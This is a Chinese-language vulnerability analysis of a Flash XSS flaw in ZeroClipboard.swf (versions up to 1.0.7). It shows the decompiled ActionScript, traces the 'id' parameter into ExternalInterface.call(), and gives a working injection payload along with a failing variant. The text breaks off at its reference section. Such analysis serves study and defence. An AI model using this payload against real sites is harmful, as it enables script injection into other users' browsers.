0x01 ZeroClipboard简介
ZeroClipboard是一款基于Flash的,兼容性较强的用于剪贴板复制的JS插件,它是基于Flash来实现跨浏览器的复制功能的。
ZeroClipboard是在国内网站中使用得比较普遍的Flash插件。
0x02 Flash XSS分析
当ZeroClipboard的版本<=1.0.7时,会存在Flash XSS漏洞。
漏洞版本下载地址:https://github.com/JoyChou93/FlashXss/tree/master/ZeroClipboard
我们下载了ZeroClipboard.swf文件后,使用FFDec软件来对其进行反编译,得到as代码:
得到如下as源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| package { import flash.display.LoaderInfo; import flash.display.Sprite; import flash.display.StageScaleMode; import flash.events.Event; import flash.events.MouseEvent; import flash.external.ExternalInterface; import flash.system.Security; import flash.system.System; public class ZeroClipboard extends Sprite { private var button:Sprite; private var id:String = ""; private var clipText:String = ""; public function ZeroClipboard() { super(); stage.scaleMode = StageScaleMode.EXACT_FIT; Security.allowDomain("*"); var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters; id = flashvars.id; button = new Sprite(); button.buttonMode = true; button.useHandCursor = true; button.graphics.beginFill(13434624); button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height)); button.alpha = 0; addChild(button); button.addEventListener(MouseEvent.CLICK,clickHandler); button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null); }); button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null); }); button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null); }); button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null); }); ExternalInterface.addCallback("setHandCursor",setHandCursor); ExternalInterface.addCallback("setText",setText); ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null); } public function setHandCursor(param1:Boolean) : * { button.useHandCursor = param1; } private function clickHandler(param1:Event) : void { System.setClipboard(clipText); ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText); } public function setText(param1:*) : * { clipText = param1; } } }
|
关注重点放在ZeroClipboard()函数上。
接着,我们搜索是否存在有接受外部输入参数的关键字,这里我们找到了AS3的传参语句:
1
| var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
|
跟踪下去,看看获取到传入的参数值的flashvars变量的调用链:
1 2 3
| id = flashvars.id; button = new Sprite(); ... button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
|
可以看到,分别有id、width和height三个参数可以控制。传入参数id赋给了id变量,而其它两个参数则传入创建button按钮的宽和高,若不传的话会创建失败、无法执行到后续的代码逻辑中去。
这里继续跟踪id变量,可以看到都是作为ExternalInterface.call()函数的第二个参数传入的,当button成功创建并添加了一些监听事件后,在鼠标移动时就会触发且最后还会调用触发一次,此时就导致了Flash XSS漏洞的存在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null); }); button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null); }); button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null); }); button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):* { ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null); }); ExternalInterface.addCallback("setHandCursor",setHandCursor); ExternalInterface.addCallback("setText",setText); ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
|
好了,最后理下,就是通过loaderInfo.parameters,我们可以传入三个参数id、width和height;其中width和height是必须传入的,否则进不了后续的代码逻辑;id参数则直接传入到ExternalInterface.call()函数的第二个参数执行,导致了Flash XSS漏洞的存在。
结合ExternalInterface.call()函数的第二个参数可控的payload,直接构造输入如下payload即可成功触发Flash XSS:
1
| ?id=\"))}catch(e){alert('mi1k7ea');}//&width=100&height=100
|
这里只要你移动鼠标就会触发:
用IE的开发者工具调试可以看到实际执行JS代码如下,注入的内容成功闭合了后面的语句,造成XSS:
1
| try { __flash__toXML(ZeroClipboard.dispatch("\\"))}catch(e){alert('mi1k7ea');}//","mouseOut",null)) ; } catch (e) { "<undefined/>"; }
|
这里多说一句,如果payload写成如下是不成功的:
1
| ?id=\"));alert('mi1k7ea');}catch(e){}//&width=100&height=100
|
这是因为ZeroClipboard未定义,在之前alert前就会报错直接跳转到了catch代码段中执行,绕过了我们注入的XSS payload:
0x03 参考
Flash XSS Securit